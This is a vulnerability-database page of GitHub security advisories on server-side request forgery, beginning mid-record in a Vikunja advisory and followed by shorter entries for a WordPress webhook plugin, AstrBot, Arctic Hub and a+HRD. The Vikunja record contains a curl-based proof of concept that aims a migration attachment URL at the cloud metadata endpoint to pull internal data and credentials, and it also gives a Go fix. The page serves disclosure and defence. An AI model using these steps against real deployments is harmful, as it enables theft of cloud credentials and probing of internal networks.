\"550e8400-e29b-41d4-a716-446655440001\",\n    \"args\": {\n      \"item_id\": \"\u0027$ITEM_ID\u0027\",\n      \"content\": \"test note\",\n      \"file_attachment\": {\n        \"file_name\": \"metadata.txt\",\n        \"file_size\": 1,\n        \"file_type\": \"text/plain\",\n        \"file_url\": \"http://169.254.169.254/latest/meta-data/\"\n      }\n    }\n  }]\u0027\n```\n\n**Step 2: Trigger migration on Vikunja**\n\n```bash\n# Authenticate to Vikunja\nTOKEN=$(curl -s -X POST \"https://vikunja.example.com/api/v1/login\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"username\":\"attacker\",\"password\":\"password\"}\u0027 | jq -r .token)\n\n# Initiate Todoist OAuth flow\ncurl -s \"https://vikunja.example.com/api/v1/migration/todoist/auth\" \\\n  -H \"Authorization: Bearer $TOKEN\"\n\n# After OAuth callback, trigger the migration\ncurl -s -X POST \"https://vikunja.example.com/api/v1/migration/todoist/migrate\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"code\":\"\u003coauth_code\u003e\"}\u0027\n```\n\n**Step 3: Download the attachment containing internal data**\n\n```bash\n# List tasks to find the attachment ID\ncurl -s \"https://vikunja.example.com/api/v1/projects\" \\\n  -H \"Authorization: Bearer $TOKEN\"\n\n# Download the attachment (contains response from internal URL)\ncurl -s \"https://vikunja.example.com/api/v1/tasks/\u003ctask_id\u003e/attachments/\u003cattachment_id\u003e\" \\\n  -H \"Authorization: Bearer $TOKEN\" -o metadata.txt\n\ncat metadata.txt\n# Expected: cloud instance metadata, internal service responses, etc.\n```\n\n## Impact\n\nAn authenticated attacker can:\n\n- **Read cloud instance metadata**: Access `http://169.254.169.254/` to retrieve IAM credentials, instance identity, and configuration data on AWS/GCP/Azure deployments\n- **Probe internal network services**: Map internal infrastructure by making requests to RFC1918 addresses (10.x, 172.16.x, 192.168.x)\n- **Access internal APIs**: Reach internal services that trust requests from the Vikunja server\u0027s network position\n- **Denial of service**: Since `buf.ReadFrom(resp.Body)` has no size limit, pointing to a large or streaming resource causes unbounded memory allocation on the Vikunja server\n\nThe attack requires the target Vikunja instance to have Todoist or Trello migration enabled (requires admin configuration of OAuth credentials), but this is a standard deployment configuration.\n\n## Recommended Fix\n\nApply the same SSRF protection already used for webhooks (`daenney/ssrf`) to the migration HTTP clients. In `pkg/modules/migration/helpers.go`:\n\n```go\nimport (\n    \"github.com/daenney/ssrf\"\n    \"code.vikunja.io/api/pkg/config\"\n)\n\nfunc safeMigrationClient() *http.Client {\n    s, _ := ssrf.New(ssrf.WithAnyPort())\n    return \u0026http.Client{\n        Transport: \u0026http.Transport{\n            DialContext: (\u0026net.Dialer{\n                Control: s.Safe,\n            }).DialContext,\n        },\n    }\n}\n\nfunc DownloadFileWithHeaders(url string, headers http.Header) (buf *bytes.Buffer, err error) {\n    req, err := http.NewRequestWithContext(context.Background(), http.MethodGet, url, nil)\n    if err != nil {\n        return nil, err\n    }\n    for key, h := range headers {\n        for _, hh := range h {\n            req.Header.Add(key, hh)\n        }\n    }\n\n    hc := safeMigrationClient()\n    resp, err := hc.Do(req)\n    if err != nil {\n        return nil, err\n    }\n    defer resp.Body.Close()\n\n    // Limit response body to 100MB to prevent memory exhaustion\n    buf = \u0026bytes.Buffer{}\n    _, err = buf.ReadFrom(io.LimitReader(resp.Body, 100*1024*1024))\n    return\n}\n```\n\nApply the same pattern to `DoGetWithHeaders` and `DoPostWithHeaders` in the same file.",
  "id": "GHSA-g66v-54v9-52pr",
  "modified": "2026-03-25T21:14:12Z",
  "published": "2026-03-25T21:14:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-g66v-54v9-52pr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33675"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/commit/93297742236e3d33af72c993e5da960db01d259e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-vikunja/vikunja"
    },
    {
      "type": "WEB",
      "url": "https://vikunja.io/changelog/vikunja-v2.2.2-was-released"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Vikunja has SSRF via Todoist/Trello Migration File Attachment URLs that Allows Reading Internal Network Resources"
}

GHSA-G67P-9QPH-GPR2

Vulnerability from github – Published: 2026-06-18 12:40 – Updated: 2026-06-18 12:40
VLAI
Details

The CF7 to Webhook plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 5.0.0 via the pull_the_trigger. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services. Exploitation requires that the admin-configured webhook URL contains a Contact Form 7 field placeholder in the host segment of the URL, and that the affected form is publicly accessible.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-11395"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-18T08:16:33Z",
    "severity": "HIGH"
  },
  "details": "The CF7 to Webhook plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 5.0.0 via the pull_the_trigger. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services. Exploitation requires that the admin-configured webhook URL contains a Contact Form 7 field placeholder in the host segment of the URL, and that the affected form is publicly accessible.",
  "id": "GHSA-g67p-9qph-gpr2",
  "modified": "2026-06-18T12:40:25Z",
  "published": "2026-06-18T12:40:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11395"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/cf7-to-zapier/tags/5.0.0/modules/cf7/class-module-cf7.php#L351"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/cf7-to-zapier/tags/5.0.0/modules/cf7/class-module-cf7.php#L524"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/cf7-to-zapier/tags/5.0.0/modules/zapier/class-module-zapier.php#L150"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3562661%40cf7-to-zapier\u0026new=3562661%40cf7-to-zapier\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/caa5b9aa-e98c-48fc-9e63-0a1380465918?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G69G-PCH9-XJ9R

Vulnerability from github – Published: 2026-07-17 21:31 – Updated: 2026-07-17 21:31
VLAI
Details

A vulnerability was detected in AstrBotDevs AstrBot up to 4.25.2. This affects the function update_plugin/update_all_plugins of the file astrbot/dashboard/routes/plugin.py of the component Plugin Update Handler. The manipulation of the argument download_url/download_urls/proxy results in server-side request forgery. The attack may be performed from remote. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-16074"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-17T21:17:06Z",
    "severity": "LOW"
  },
  "details": "A vulnerability was detected in AstrBotDevs AstrBot up to 4.25.2. This affects the function update_plugin/update_all_plugins of the file astrbot/dashboard/routes/plugin.py of the component Plugin Update Handler. The manipulation of the argument download_url/download_urls/proxy results in server-side request forgery. The attack may be performed from remote. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-g69g-pch9-xj9r",
  "modified": "2026-07-17T21:31:46Z",
  "published": "2026-07-17T21:31:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-16074"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/YLChen-007/f84070f78d9c9c9407b0c396189cd716"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/cve/CVE-2026-16074"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/852842"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/379789"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/379789/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-G6JR-8546-FHR8

Vulnerability from github – Published: 2024-12-20 21:30 – Updated: 2024-12-20 21:30
VLAI
Details

Server-Side Request Forgery in URL Mapper in Arctic Security's Arctic Hub versions 3.0.1764-5.6.1877 allows an unauthenticated remote attacker to exfiltrate and modify configurations and data.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-12867"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-20T20:15:22Z",
    "severity": "HIGH"
  },
  "details": "Server-Side Request Forgery in URL Mapper in Arctic Security\u0027s Arctic Hub versions 3.0.1764-5.6.1877 allows an unauthenticated remote attacker to exfiltrate and modify configurations and data.",
  "id": "GHSA-g6jr-8546-fhr8",
  "modified": "2024-12-20T21:30:46Z",
  "published": "2024-12-20T21:30:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12867"
    },
    {
      "type": "WEB",
      "url": "https://www.arcticsecurity.com/security/vulnerability-note-2024-12-20"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:H/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:N/R:U/V:C/RE:M/U:Amber",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-G6MR-WWV6-FJ2Q

Vulnerability from github – Published: 2025-01-20 03:30 – Updated: 2025-01-20 03:30
VLAI
Details

The a+HRD from aEnrich Technology has a Server-side Request Forgery, allowing unauthenticated remote attackers to exploit this vulnerability to probe internal network.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-0584"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-20T03:15:09Z",
    "severity": "MODERATE"
  },
  "details": "The a+HRD from aEnrich Technology has a Server-side Request Forgery, allowing unauthenticated remote attackers to exploit this vulnerability to probe internal network.",
  "id": "GHSA-g6mr-wwv6-fj2q",
  "modified": "2025-01-20T03:30:51Z",
  "published": "2025-01-20T03:30:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0584"
    },
    {
      "type": "WEB",
      "url": "https://www.twcert.org.tw/en/cp-139-8371-1c17a-2.html"
    },
    {
      "type": "WEB",
      "url": "https://www.twcert.org.tw/tw/cp-132-8370-58eb5-1.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.